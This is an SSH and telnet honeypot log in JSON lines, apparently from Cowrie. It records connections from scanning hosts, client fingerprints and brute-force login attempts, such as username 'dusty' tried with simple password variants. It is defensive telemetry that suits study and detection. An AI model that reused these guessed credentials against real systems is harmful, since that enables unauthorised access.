{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43712,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d456c6fb102","protocol":"telnet","message":"New connection: 198.50.122.223:43712 (10.17.0.5:23) [session: 0d456c6fb102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:27.112691Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:27.266449Z","src_ip":"148.216.28.11","session":"661457a32a87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:27.433312Z","src_ip":"2.203.183.35","session":"96f1220e6534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20533013343811,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:28.275033Z","src_ip":"198.50.122.223","session":"14d1eeafd76b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613226413726807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:28.584668Z","src_ip":"198.50.122.223","session":"954d12240f3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52252,"dst_ip":"10.17.0.5","dst_port":23,"session":"3899f42a4336","protocol":"telnet","message":"New connection: 198.50.122.223:52252 (10.17.0.5:23) [session: 3899f42a4336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:28.666190Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":52270,"dst_ip":"10.17.0.5","dst_port":23,"session":"7370431d10ff","protocol":"telnet","message":"New connection: 198.50.122.223:52270 (10.17.0.5:23) [session: 7370431d10ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:28.670333Z"}
{"eventid":"cowrie.session.closed","duration":30.459267377853394,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:29.155694Z","src_ip":"198.50.122.223","session":"77b640587c19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.039703369140625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:29.311290Z","src_ip":"198.50.122.223","session":"916fd926ed03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":60098,"dst_ip":"10.17.0.5","dst_port":23,"session":"c31ce293017f","protocol":"telnet","message":"New connection: 198.50.122.223:60098 (10.17.0.5:23) [session: c31ce293017f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:30.117736Z"}
{"eventid":"cowrie.session.closed","duration":31.060569047927856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:30.167607Z","src_ip":"198.50.122.223","session":"a89473d86528","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43426,"dst_ip":"10.17.0.5","dst_port":23,"session":"1deadf79fa15","protocol":"telnet","message":"New connection: 198.50.122.223:43426 (10.17.0.5:23) [session: 1deadf79fa15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:32.217015Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47590,"dst_ip":"10.17.0.5","dst_port":23,"session":"035013376541","protocol":"telnet","message":"New connection: 198.50.122.223:47590 (10.17.0.5:23) [session: 035013376541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:32.871074Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.35.229","src_port":43878,"dst_ip":"10.17.0.5","dst_port":23,"session":"746ff3d78ae8","protocol":"telnet","message":"New connection: 50.6.35.229:43878 (10.17.0.5:23) [session: 746ff3d78ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:33.737831Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":55066,"dst_ip":"10.17.0.5","dst_port":23,"session":"41d5fa2ea7ff","protocol":"telnet","message":"New connection: 198.50.122.223:55066 (10.17.0.5:23) [session: 41d5fa2ea7ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:34.390393Z"}
{"eventid":"cowrie.session.closed","duration":30.46995711326599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:35.203725Z","src_ip":"198.50.122.223","session":"1ecaf3ea6650","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":27775,"dst_ip":"10.17.0.5","dst_port":22,"session":"876d13ce99c0","protocol":"ssh","message":"New connection: 213.209.159.159:27775 (10.17.0.5:22) [session: 876d13ce99c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:35.765358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:35.839152Z","src_ip":"213.209.159.159","session":"876d13ce99c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.154040575027466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:35.873037Z","src_ip":"198.50.122.223","session":"49115d230a21","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:35.917606Z","src_ip":"213.209.159.159","session":"876d13ce99c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty","message":"login attempt [dusty/dusty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:36.279242Z","src_ip":"213.209.159.159","session":"876d13ce99c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.239590644836426,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:36.900948Z","src_ip":"198.50.122.223","session":"4f3566dd042d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41266,"dst_ip":"10.17.0.5","dst_port":23,"session":"7913f1c809a8","protocol":"telnet","message":"New connection: 198.50.122.223:41266 (10.17.0.5:23) [session: 7913f1c809a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:37.138816Z"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty1","message":"login attempt [dusty/dusty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:37.364297Z","src_ip":"213.209.159.159","session":"876d13ce99c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":47596,"dst_ip":"10.17.0.5","dst_port":23,"session":"b591418293f4","protocol":"telnet","message":"New connection: 198.50.122.223:47596 (10.17.0.5:23) [session: b591418293f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:38.408930Z"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty123","message":"login attempt [dusty/dusty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:38.449583Z","src_ip":"213.209.159.159","session":"876d13ce99c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48926,"dst_ip":"159.203.135.109","dst_port":22,"session":"37d8b33d7f1d","protocol":"ssh","message":"New connection: 159.203.92.129:48926 (159.203.135.109:22) [session: 37d8b33d7f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:39.277044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:39.281671Z","src_ip":"159.203.92.129","session":"37d8b33d7f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:39.286029Z","src_ip":"159.203.92.129","session":"37d8b33d7f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apex","password":"apex","message":"login attempt [apex/apex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:39.298625Z","src_ip":"159.203.92.129","session":"37d8b33d7f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty1234","message":"login attempt [dusty/dusty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:39.534289Z","src_ip":"213.209.159.159","session":"876d13ce99c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:40.312569Z","src_ip":"159.203.92.129","session":"37d8b33d7f1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dusty","password":"dusty12345","message":"login attempt [dusty/dusty12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:40.620177Z","src_ip":"213.209.159.159","session":"876d13ce99c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20574450492859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:41.517329Z","src_ip":"198.50.122.223","session":"aa07e38025a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:41.704527Z","src_ip":"213.209.159.159","session":"876d13ce99c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":37348,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0d26a1b21de","protocol":"telnet","message":"New connection: 198.50.122.223:37348 (10.17.0.5:23) [session: d0d26a1b21de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:42.193483Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":41690,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2daa68e5d59","protocol":"telnet","message":"New connection: 198.50.122.223:41690 (10.17.0.5:23) [session: f2daa68e5d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:43.062213Z"}
{"eventid":"cowrie.session.closed","duration":30.781498908996582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:43.756274Z","src_ip":"198.50.122.223","session":"5a426bb2e9c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75388526916504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:44.224000Z","src_ip":"198.50.122.223","session":"efc5c66274aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":55516,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e21d3bd0559","protocol":"ssh","message":"New connection: 122.168.114.167:55516 (159.203.135.109:22) [session: 0e21d3bd0559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:44.850316Z"}
{"eventid":"cowrie.session.closed","duration":31.07094383239746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:45.312631Z","src_ip":"198.50.122.223","session":"b3b370c1dee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927099466323853,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:45.340012Z","src_ip":"198.50.122.223","session":"a7ae541425db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59574842453003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:46.261957Z","src_ip":"198.50.122.223","session":"32653c120c2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755839586257935,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:46.288467Z","src_ip":"198.50.122.223","session":"0741f36932a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12160062789917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:46.516802Z","src_ip":"198.50.122.223","session":"59e74a2d0bdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":33354,"dst_ip":"10.17.0.5","dst_port":23,"session":"086eb78a8dca","protocol":"telnet","message":"New connection: 198.50.122.223:33354 (10.17.0.5:23) [session: 086eb78a8dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:47.261116Z"}
{"eventid":"cowrie.session.closed","duration":31.24192762374878,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:47.826365Z","src_ip":"198.50.122.223","session":"64166d26d0d7","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:49.117215Z","src_ip":"122.168.114.167","session":"0e21d3bd0559","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:49.157545Z","src_ip":"122.168.114.167","session":"0e21d3bd0559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":43882,"dst_ip":"10.17.0.5","dst_port":23,"session":"b597a2160e4e","protocol":"telnet","message":"New connection: 198.50.122.223:43882 (10.17.0.5:23) [session: b597a2160e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:49.494678Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":56742,"dst_ip":"10.17.0.5","dst_port":23,"session":"40e9f743d41a","protocol":"telnet","message":"New connection: 198.50.122.223:56742 (10.17.0.5:23) [session: 40e9f743d41a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:51.910507Z"}
{"eventid":"cowrie.session.closed","duration":30.662885904312134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:53.113690Z","src_ip":"198.50.122.223","session":"19cf7c2291fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.363733768463135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:54.572404Z","src_ip":"198.50.122.223","session":"dfbfe0a471a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930830717086792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:56.396221Z","src_ip":"198.50.122.223","session":"5b59dbdbaf10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":39078,"dst_ip":"10.17.0.5","dst_port":23,"session":"9555afa39efa","protocol":"telnet","message":"New connection: 198.50.122.223:39078 (10.17.0.5:23) [session: 9555afa39efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:57.203753Z"}
{"eventid":"cowrie.session.closed","duration":30.867069721221924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:57.274552Z","src_ip":"198.50.122.223","session":"2daff07e728c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80528998374939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:57.303690Z","src_ip":"198.50.122.223","session":"70170971bb3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.143766164779663,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:58.256337Z","src_ip":"198.50.122.223","session":"0d456c6fb102","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46516489982605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:59.131216Z","src_ip":"198.50.122.223","session":"3899f42a4336","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":35270,"dst_ip":"10.17.0.5","dst_port":23,"session":"68540bd619bb","protocol":"telnet","message":"New connection: 198.50.122.223:35270 (10.17.0.5:23) [session: 68540bd619bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:59.212211Z"}
{"eventid":"cowrie.session.closed","duration":30.6644926071167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:59.334718Z","src_ip":"198.50.122.223","session":"7370431d10ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.50.122.223","src_port":38828,"dst_ip":"10.17.0.5","dst_port":23,"session":"99ff69190592","protocol":"telnet","message":"New connection: 198.50.122.223:38828 (10.17.0.5:23) [session: 99ff69190592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:30:59.925385Z"}
{"eventid":"cowrie.session.closed","duration":31.229568004608154,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:01.347174Z","src_ip":"198.50.122.223","session":"c31ce293017f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560648202896118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:03.431619Z","src_ip":"198.50.122.223","session":"035013376541","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.267520904541016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:03.484414Z","src_ip":"198.50.122.223","session":"1deadf79fa15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88678288459778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:04.624500Z","src_ip":"50.6.35.229","session":"746ff3d78ae8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69099187850952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:05.081262Z","src_ip":"198.50.122.223","session":"41d5fa2ea7ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":42490,"dst_ip":"159.203.135.109","dst_port":22,"session":"14dd8418d84b","protocol":"ssh","message":"New connection: 103.228.69.212:42490 (159.203.135.109:22) [session: 14dd8418d84b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:07.306015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:31:07.310532Z","src_ip":"103.228.69.212","session":"14dd8418d84b","protocol":"ssh"}
